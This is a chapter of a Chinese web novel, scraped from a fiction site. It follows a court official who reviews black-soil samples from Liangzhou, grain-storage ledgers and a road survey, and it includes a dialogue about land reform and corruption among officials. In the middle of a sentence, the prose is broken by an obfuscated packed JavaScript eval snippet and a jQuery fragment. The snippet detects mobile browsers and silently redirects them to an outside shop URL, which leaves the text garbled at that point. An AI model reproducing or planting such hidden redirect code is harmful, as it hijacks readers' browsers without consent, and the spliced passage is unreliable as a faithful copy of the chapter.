文趣网 > 其他小说 > 全军营都知道我是拉长 > 58. 第 58 章
    十月十七,凉州送来的黑土样本到了京城。

    押送土样的驿卒是从凉州驻军营里挑出来的老兵,一路换马不换人,跑到司徒府门口时盔甲上落了厚厚一层黄土。

    他从马背上卸下三只封了蜡的木箱,每只箱子里装着六只粗陶罐,罐口用油纸和麻绳封得严严实实,罐身上贴着标签,标注了探井编号、取样深度和取样日期。

    梅家安让赵栾把陶罐搬到正堂条案上,一字排开,又让人去太仓署请两个有经验的老农来,再去工部借一套筛土的细筛,她自己的袖子已经卷到了小臂以上。

    老农蹲在条案前面,从罐子里抓了一把黑土放在掌心里搓了搓,又凑到鼻子底下闻了闻。

    搓完之后他把黑土撒回罐子里,拍了拍手,说这土闻着有股老塘泥的味道,攥在手里发黏,搓开了指缝里油乎乎的,是好土。

    梅家安让他把每只罐子里的土都抓一把出来,摊在白纸上,逐罐对比颜色和质地。

    上游那口探井挖出来的黑土层最厚,将近三尺,土色乌黑发亮,攥在手里能团成团,松开手轻轻一碰就散开了。

    中游那口探井的黑土层稍薄,不到两尺,土里混了些砂砾。

    下游那口井的黑土层最薄,只有一尺出头,砂砾更多,颜色也偏灰。

    她让人把这十八只陶罐按探井编号和取样深度重新排列,从上游到下游,从表层到底层,在条案上排成三排。

    每只罐子里的土都取了一小撮,用细筛筛过,筛出来的砂砾单独装在小瓷碟里,标注了重量。

    她在账本上新开了一页,逐罐记录土色、质地、砂砾含量、土层厚度。

    写到下游那口井的黑土层时,她的笔尖停了一下,下游的黑土层虽然薄,但土层底部有一层灰白色的钙积层,指甲盖按上去硬邦邦的,是古时候湖相沉积留下来的,没有几百年出不来。

    薛起在信里说凉州城外那片沙地的黑土层是古时候留下来的,果然没错。

    她让赵栾把上游那罐和下游那罐各取了一撮,分别混入沙土搓了搓。

    上游的黑土混进去之后土色均匀,攥在手里能团成团;下游的黑土混进去之后还是松散,手指一碾就散开了。

    “上游的能直接用,下游的得加沤肥。”她搁下土样,在新开的账本页脚补了一行:

    下游井土样须配沤肥使用,比例另行试验。

    当天下午她给薛起写回信,信里附了一份黑土改土的初步方案:

    凉州城外那片沙地,把黑土层挖出来和沙土混合,混合比例暂定黑土三成、沙土七成,翻入地表后深耕一遍,再按荞麦试种章程施底肥。

    下游探井周边的土地需要额外加沤肥,比例另行试验。

    沿黑土层走向每隔一段距离打一口探井,测绘整条黑土带的分布范围、厚度变化、埋藏深度,每口探井取三层土样,逐井建档。

    信的末尾她写了几句:

    凉州屯田的事,兵部管不了,工部够不着,户部离得太远,司徒府记得你们。

    凉州官仓门口那块石台已经砌起来了,往后每个月月初贴告示,账目公开,经手人签字画押。

    十月底,凉州方向的驿道前期勘线队从京城出发。

    领队的是工部都水清吏司一个老河工出身的主事,姓丁,在都水司待了好些年,修过的桥比一般人走过的路还多。

    梅家安让何崇的副手从太仓署转运司抽了一个熟悉驿道规划的转运使跟着,又让田更启从攀城老兵里挑了两个懂测绘的一同前往。

    江淮平在太尉府签发了沿途各州县驻军营的接应文书,又在末尾加了一句:

    勘线队所到之处,驻军须派人护送,不得有误。

    勘线队的路线图是他和梅家安在舆图前一起画的,从京城往西,沿陇西走廊到凉州,中间要翻好几座山。

    江淮平的手指在舆图上沿官道往西划,停在一处隘口上,说这里要建换马站,隘口两侧都是石山,冬天风大,棚子必须用石墙。

    梅家安在旁边翻开太府寺存银月报扫了一眼,石墙造价是木棚的近两倍,但能用很多年,长远看划算,又提笔在预算旁边注了一行:

    追加石料预算,再加一道半人高的防风墙。

    勘线队出发那天,梅家安站在正阳门外送行。

    丁主事从她手里接过勘线章程,朝她行了一礼,翻身上马。

    梅家安转身往回走时,江淮平从太尉府方向过来,两个人并肩走在御街上,梅家安随口说了句:

    “凉州这条驿道如果修通了,从京城到凉州的时间能缩短将近一半。”

    江淮平没说话,他偏过头看了她一眼,目光从她脸上移到她脚上,眉头微微拧了一下。

    “你脚怎么了?”

    梅家安低头看了一眼,左脚那只布靴的鞋帮上有一道被石块划破的小口子,是前几天在巷口绊了一下蹭的,她自己都快忘了。

    “没什么,前两天走夜路绊了一下。”

    江淮平没再说什么,他把佩刀换到左手,右手虚虚地往她左臂方向探了探,没有碰到她的袖子,只是保持在随时能扶一把的距离。

    这个动作极其短暂,他很快就收回了手,继续往前走。

    梅家安侧头看了他一眼,他的表情和平常没有任何区别,目视前方,腰背笔直。

    回到司徒府正堂,江长滢已经在里面等了一阵,她把吏部秋考的终审结果放在梅家安面前,又单独抽出一份薛喆的履职记录。

    梅家安翻开,薛喆的字迹工整有力,柳树坪的田界核查已全部完成,官仓告示贴了三期,渠线踏勘完毕,附了一份手绘的渠线图。

    “这个薛喆,是个有大本事的人。”江长滢端着茶盏,“考功司记了他一功,我已经批了。”

    梅家安一边把渠线图折好放进抽屉里一边说:

    “按章程明年考课时薛喆可以考虑提前晋一级,你给沈孝仁递句话。”

    江长滢正要再说什么,赵栾从外面进来,把一份刚送到的文书放在梅家安面前。

    “梅司农,太仓署刚送来了各州县常平仓秋粮入库进度。”赵栾说。

    梅家安翻开文书,各州县的秋粮入库数据一条一条列得清楚,入库数目、库存总量、与去年同期的对比,每一栏后面都有经手人的签名画押。

    目前蜀州七县的进度最快,石鼓村的荞麦收完之后又抢种了一茬冬麦,秦太守在旬报里说冬麦出苗不错,明年夏收之后蜀州的常平仓就能恢复到震前水平。

    梅家安继续往后看去,她的手指在庐州那一栏停了一下。

    庐州那边王定国在鹰嘴崖剿匪之后,山里的村子陆续都回来复垦了,秋粮入库比去年多了两成,虽然绝对数目还不算大,但趋势是往上走的。

    凉州那边薛起也报了秋粮入库的数目,比去年多了不少,其他各县数据也都呈现缓慢上升趋势。

    江长滢凑过来看了一眼,说了句:

    “庐州比去年多两成?鹰嘴崖那地方今年春天才开始复垦,头一年就有这个数,不容易。”

    “多了这两成粮,你说能多养活多少人?”梅家安还在翻文书,随口问了一句。

    江长滢心里算了一下:“一个人一年嚼谷三百多斤,两成听着不多,搁在鹰嘴崖那种刚复垦的地方,多了这一成半成的,就能让好几户人家从喝稀的变成吃干的。”

    “那比咱们那会儿好多了。”梅家安把文书翻到下一页,“我记得你说过,建国那几年全国粮食不够吃,城里人粮本定量供应,农村更紧。”

    “那会儿没别的法子,就得先紧着统购统销国家把粮食收上来统一调配,不然大城市断顿,工业就转不起来。”

    江长滢靠在椅背上,“后来一边搞工业一边改农田,黄淮海那一片盐碱地,改了好多年,亩产从几十斤慢慢往上涨。一步一步来,花了十几年才把饭碗端稳。”

    “那跟咱们现在干的差不多。”梅家安合上文书,“清田、改土、修渠、修路,一件一件办,慢慢来。”

    "只能慢慢来。"江长滢端起茶碗喝了一口,"你想想,建国初期搞土改,从试点到全面铺开用了好几年;

    搞合作化,从初级社到高级社又用了好几年;搞工业化,从第一个五年计划到第一个完整的工业体系建成,用了整整二十多年。

    哪一件是一蹴而就的?"

    梅家安靠在椅背上,"你说的这些我都知道,但我有时候在想,咱们现在干的这些事,能走到哪一步?

    当年是连根拔,重新建,咱们现在是在封建朝代的框架里,修修补补往前走,宗族、豪绅、官场、皇权每一样都在拉着我往下走。

    我活着能搞清田土改惠民政策,我死了以后呢?还会有人去推行我的理念吗?活着的时候天下通达,死了又还剩下什么呢?”

    江长滢沉默了一会儿。

    “你知道当年党搞土改的时候,有一批人跟你说过一样的话吗?”

    “什么样的话?”

    “说地分了有什么用?农民斗倒了地主、拿了地契,过几年地主翻回来,地契就是一张废纸。

    说工厂建了有什么用?资本家卷土重来,厂还是人家的。

    说合作社搞了有什么用?单干了一辈子的人,捆在一起不散架就不错了。”江长滢说,“这些话当年都有人说,后来呢?

    后来土改的地契从来没变过,老百姓手里那些纸,到今天还是他们的。”

    “当年能成,是因为党带着整个国家一起往前走,是一整套制度、一整代人一起推,大家一起拥护工农兵,一起搞社会革命。

    现在的情况不一样,我之所以能推行清田土改靠的就是我这身官服,我搭建制度和框架依靠的是太尉府的兵权,我手下官员骨子里信奉的都是天地君亲师,没有一个人信仰共产主义。

    他们再怎么心怜黎庶说着以民为本,以民为纲也不可能去反帝反封建啊,因为在他们心中民为贵后面接的是君为纲,你让他们去镇压农民起义的可行性都比让他们推翻封建社会要高得多。”

    “你说这些话,是打算放弃?”

    “没有,我知道我一个人推不动这个朝代,但我不推,老百姓就多饿一天肚子、多受一年欺,所以我推。

    能推一天是一天,能推一寸是一寸。”

    那就对了。”江长滢说,“你每天批文书、定章程、见人、下批示,都一件事都是在为以后打基础,你每写一条章程都是在给后来者搭台阶,你走一步,后面的人就能跟着跟着往前走一步。”

    梅家安没再说话,她把秋粮文书翻开看了一会儿,又合上了。

    “你说这些是害怕被特权阶级腐化,对吧。”江长滢把茶碗搁下,“建国初期那些变了质的干部,起步的时候都不是坏人。

    刘青山、张子善,打过仗流过血,进城之后看别人住洋房坐汽车,觉得自己凭什么还要吃苦,人就变了。”

    梅家安没接话,只是端起茶碗喝了一口。

    “他们第一回收钱的时候也犹豫过,第二回就顺手了,第三回就理所当然了。”江长滢说,“主席当年怕的就是这个,打天下的时候大家一条心,坐天下的时候就有人觉得该享福了。

    你知道主席是怎么想的吗?

    进北平前主席就说过一句话:‘我们决不当李自成’。李自成进北京之后,底下的人忙着抢银子抢女人,正事全扔了,四十多天就完了。

    主席担忧共产党人也变成这样,进北平之前就把《甲申三百年祭》发下去让全军学,说‘小胜即骄傲,大胜更骄傲,一次又一次吃亏,如何避免此种毛病,实在值得注意’,就是怕我军重蹈覆辙。

    进了城之后搞□□,处理刘青山、张子善那会儿,有人求情。

    主席说‘正因为他们两人的地位高、功劳大、影响大,所以才下决心处决他们。’他又说了一句话,我记到现在‘只有处决他们,才可能挽救二十个、两百个、两千个、两万个犯有各种不同程度错误的干部。’”

    1965年主席重上井冈山,七十二岁了,离他第一次上山已经过了三十八年,他在山顶上住了八天,写下《水调歌头·重上井冈山》,‘可上九天揽月,可下五洋捉鳖’,‘世上无难事,只要肯登攀’,说的是当年能走通的路,现在一样能走通。

    他在茨坪跟人说,‘井冈山道路的探索是中国革命最关键的一步。’他怕是底下人忘了来时的路。”

    江长滢看着她,“你现在坐在司徒府,批了一年的文书,做了很多实事,但你身边这个朝代比你想象的更黏人。

    你每批一份文书、每见一个官员,他们都在腐化你,腐化不是一瞬间的事,你今天退半步、明天退半步,退到最后你自己都不知道你变了,你能意识到问题所在,说明这位同志你脑子还很清醒么。

    只要人没变,路就一直在。”

    江长滢站起来理了理袖口,“我还有事就先走了,各县劝农官缺额的名单已经理出来了,回头再誉一份给你过目。”

    她走到门口又停了一下。

    “主席重上井冈山那年七十二岁,走了三十八年的路,还要回起点看一眼,你的路还长着呢。”

    说完她抬脚出了门。

    目送江长滢离开后,梅家安重新坐回案后,把各县调粮的批文和冬麦播种的进度表并排放在一起,逐项核对。

    窗外起了风,老槐树的枝叶沙沙作响,几片枯叶从敞开的窗户飘进来,落在条案边缘,她没有去拂,江长滢那句话还在她脑子里转。

    她盯着批文上的字看了一会儿,然后把笔搁下,她在想什么时候能腾出空下基层巡查。

    傍晚时分,江淮平从太尉府过来了,他把佩刀搁在案角,在梅家安对面坐下,从怀里掏出一份军报放在她面前。

    是庐州方向王定国送来的,说在鹰嘴崖峡谷深处又发现了一处天然硝石矿脉,比之前剿匪时搜出来的那几车规模大得多,矿脉裸露在峡谷东侧一面断崖上,最厚的地方有两尺多。

    梅家安接过军报从头到尾看了一遍,又翻开附在后面的踏勘规划,把硝石矿点到峡谷集市的驮道路线反复看了几遍,又翻开太府寺存银月报核了一下可用的款项。

    江淮平提了在峡谷集市设铁官分坊的事,她说让石铁匠挑个最得力的徒弟去庐州坐镇。

    江淮平点头,说设坊章程里必须把军械管理的规矩定死,每一批刀剑箭头都要登记造册,硝石每车过秤,运货单上注明矿点来源和经手人,每季度汇总送到太尉府。

    两个人你一言我一语地把设坊章程的框架搭了出来,梅家安铺开纸笔开始拟草案,江淮平坐在旁边看她写。

    写了几行,她搁下笔揉了揉手腕,江淮平伸手把她的茶盏拿过来,起身走到炭盆旁边拎起铜壶续了热水,又把茶盏放回她手边。

    “凉了。”他说。

    梅家安端起茶盏喝了一口,温度刚好,她继续低头写章程,写到一半忽然抬起头看了他一眼。

    “你今天在御街上盯了我好几次,我脸上有东西?”

    “你脚上的靴子破了。”江淮平没看她,低头翻着军报,“那双布靴穿了大半年了吧,鞋底磨薄了,巷口那段石板路长了青苔,上个月赵栾就在那摔了一跤。”

    “靴子还能穿,鞋帮上那道口子就蹭破了一点皮。”

    “破了就该换,我已经让人去太仓署领了,明天送到司徒府。”

    梅家安看着他,没有说话,他把军报翻到下一页,头也没抬。

    过了小半个时辰,梅家安把设坊章程的初稿拟完了,她把草稿拿起来从头到尾又看了一遍,确认没有遗漏。

    江淮平接过去逐条核过,在军械管理那一栏用炭笔加了几处细节:铁官分坊每月须向太尉府呈报军械库存清单,硝石运输途中须有两名押运官同时在场,运货单上除了经手人签名还须加盖沿途各驿站印戳。

    “加上这几条,庐州的事就差不多了。”江淮平搁下炭笔,把章程草稿推回她

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17764787|203450||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    面前。

    窗外天色已经暗了下来,赵栾推门进来,又把桌上的茶壶续满热水。

    “灶房今晚蒸了馒头。”赵栾说,“是太仓署送来的新面粉,头一锅刚出笼,伙房老王头让我端几个过来给司徒大人和太尉大人尝尝。”

    他说着从食盒里端出一碟白面馒头放在案角,馒头蒸得暄软,面皮上冒着热气,麦香味在正堂里弥漫开来。

    梅家安拿起一个馒头掰开,递给江淮平一半,馒头烫手,她在两只手里来回倒了好几下才掰开。

    江淮平接过那一半,低头咬了一口,嚼了两下,没说话。

    “比杂粮饼软和。”江淮平说。

    “这是蜀州石鼓村秋收之后交上来的赋税粮,太仓署筛过之后专门留了一部分精面。”

    梅家安翻出太仓署送来的面粉调拨单,“蜀州今年秋粮入库的精麦比去年多了将近两成,秦太守在呈文里说,石鼓村那批冬麦种子已经下地了,明年夏收如果顺利,还能再多交一些。”

    “石鼓村,就是地震之后你在河滩上种荞麦的那个村子。”

    “对,堰塞体泄洪之后,河滩地全被洪水泡了,夏麦颗粒无收。

    我让他们改种荞麦,荞麦收完之后又抢种了一茬冬麦,今年秋粮入库,石鼓村的精麦交得比往年都多。”梅家安低头看着手里的半块馒头,“这馒头里的面粉,说不定就有石鼓村交上来的那一袋。”

    江淮平没有说话,他把茶盏往她手边推了推。

    接下来的几天,各州县常平仓的秋粮入库数据陆续汇总到司徒府,梅家安逐份翻看,在页脚逐一批注。

    庐州、蜀州、通州三地恢复最快,徐州的进度稍慢,沛县和邹县因为秋收时遭了水灾,入库数目比预期低了将近一成,真是千防万防都防不住这贼老天。

    梅家安把徐州送来的呈文反复看了两遍,沛县的受灾面积不算大,但水淹之后晚稻补种没跟上,导致秋粮入库出现了缺口。

    徐州刺史在呈文里请求从相邻的庐州调粮补充沛县常平仓。

    梅家安在呈文末尾批了一行:沛县缺粮先从庐州调一千石过去,明年春播要提前备足种子,不能再出现水淹之后补种跟不上的情况。

    批完之后她让赵栾把批文抄送太仓署和户部,让两边的度支郎中同步跟进。

    十月下旬,京城常平仓的日常巡检排班表送了一份到司徒府。

    各仓房的巡检员按旬报汇总,城西两处仓房上月发现的门轴松动已在旬报里标注了修复日期,太仓署按章程自行维修,未影响日常放粮。

    梅家安翻完旬报,在末尾批了一句:京城各仓巡检排班按既定章程执行,存粮轮换按入库时间先后依序出库,旬报照常报送。

    江淮平过来时她刚好落完最后一笔,他在她对面坐下,说刚收到王定国从庐州送来的消息,硝石矿脉的初步储量估算出来了,按目前探明的矿脉走向,够庐州铁官分坊用上至少五年。

    梅家安接过矿脉勘测图看了一遍,说五年之后矿脉会不会往更深的地方延伸现在还不好说,让王定国在矿脉两端各打一口探井,把延伸走向摸清楚。

    日子一晃就到了十一月中,这天傍晚,梅家安正和江淮平在司徒府正堂各忙各的,赵栾从外面进来,说太仓署刚把今年秋粮入库的总账送来了。

    梅家安搁下笔,接过总账翻开。她从前到后一页一页翻过去,京城常平仓的库存、蜀州七县、庐州三县、徐州五县、通州三县、凉州驻军屯田,每一个数字后面都附了经手人的签名画押,每一页末尾都盖了太仓署的印。

    她把总账从头到尾翻了一遍,翻完之后靠在椅背上,半天没说话。

    江淮平从军报上抬起头看了她一眼,问她怎么了,她把总账推到他面前,让他自己看。

    江淮平接过去翻了一遍。翻到最后一页时,他的手指停了一下。

    “凉州的屯田存粮,比去年多了将近三倍。”

    梅家安没有接话。她站起来走到窗前,推开窗户,外面的银杏叶已经快落尽了。

    御街上的书吏们正推着小车往太仓署方向走,车上装的是刚印好的常平仓告示,油墨还没干透。

    远处正阳门外,清田登记处的长队还在排着,书吏念告示的声音隐约可闻。

    江淮平走到她身后,顺着她的目光看向窗外,两个人并肩站在窗前,谁都没有说话,过了好一会儿,江淮平伸手把窗户关了半扇,说风凉,别吹着了。

    梅家安回头看了他一眼,他已经在炭盆旁边蹲下来,拿火钳拨了拨炭火,让火苗窜高了些。

    “今晚还回司徒府吗?”他站起来,把火钳搁回铜盆旁边。

    “回,还有几份劝农官的调任文书没核完。”梅家安走到案后重新坐下,铺开纸笔。

    江淮平没有走,他回到自己的位置坐下,拿起太尉府的军报继续批阅。

    窗外的暮色沉了下去,赵栾端了两碗杂粮粥进来放在案角。梅家安端起碗喝了一口,江淮平也端起了碗。

    两个人隔着一张条案各自喝粥,炭盆里的火苗噼啪响着,正堂里只有翻纸页的沙沙声和笔尖划过纸面的细响。

    又过了几天,各地的劝农官陆续送来了冬麦播种的进度旬报。

    蜀州石鼓村的冬麦已经全部下地,出苗率比去年同期高了一截;庐州鹰嘴崖周边几个村子也完成了冬麦播种;通州的荞麦茬地全部翻耕完毕,冬麦种子已经发放到户;只有沛县因为水灾之后补种晚稻耽误了农时,冬麦播种比别处晚了小半个月。

    梅家安把各州县冬麦播种的进度汇总成表,在沛县那一栏旁边批了一行:沛县冬麦播种偏晚,须追肥促长,种子和农具从相邻州县调拨。

    批完之后她让赵栾把批文抄送户部和太仓署,又单独给沛县劝农官写了一封信,让他把冬麦出苗情况每旬报一次,遇到霜冻或干旱随时上报。

    写完信之后她搁下笔,靠在椅背上闭了一下眼睛。江淮平从太尉府过来时她正把沛县的调拨单和劝农官回信一并归档,他看了她一眼,从她手里把档案夹接过去,替她插回了架子上的格子。

    “沛县的事批完了?”

    “批完了。冬麦播种晚了小半个月,我让劝农官追肥促长,种子从庐州调。”梅家安揉了揉眉心。

    江淮平在她对面坐下来,他从怀里掏出一份军报,是凉州方向薛起送来的,说第一批冬麦试验田已经出苗,黑土混合沙土之后出苗率明显高于往年。薛起在信里还写了一句,梅家安看了两遍。

    “官仓告示贴出去那天,营里一个跟了我十二年的老卒站在石台前面,把告示上的数字从头到尾念了一遍,念完回头跟我说:将军,咱们吃的粮,朝廷记着数呢。”

    薛起写:我跟他说,以后每月初一十五都贴,数字只多不少。

    梅家安把军报折好放在案角,凉州驻军被朝廷忘了那么多年,现在官仓门口的石台砌起来了,账目公开。

    那个老卒能把告示上的数字从头到尾念一遍,说明他认字。

    能在西北守十几年的兵,不会写字但能认字的,都是自己私下学的,薛起的营里有人在教他们认字。

    “凉州的冬麦试验田出了苗,官仓告示也贴起来了,通州的常平仓也恢复了,沛县的缺粮也调拨了。这个冬天,能做的事都做了。”梅家安说。

    “明年开春之后,蜀州的冬麦收了,庐州的铁官分坊开工了,凉州的驿道也勘完了。到明年这时候,日子会比现在更好。”

    江淮平说完把她面前那摞文书往旁边挪了挪,腾出一块空桌面赵栾正好端着两碗热粥进来放在案上,又摆了一碟腌萝卜。

    粥是新碾的蜀州精米熬的,米油浓得在碗面上凝了一层皮,腌萝卜切成薄片,淋了几滴香油,香味混着粥的热气在正堂里弥漫开来。

    梅家安端起粥碗喝了一口,江淮平也端起了碗,两个人隔着一张条案各自喝粥,炭盆里的火苗跳了跳,正堂里只有碗筷碰撞的轻响,窗外隐约传来梆子声……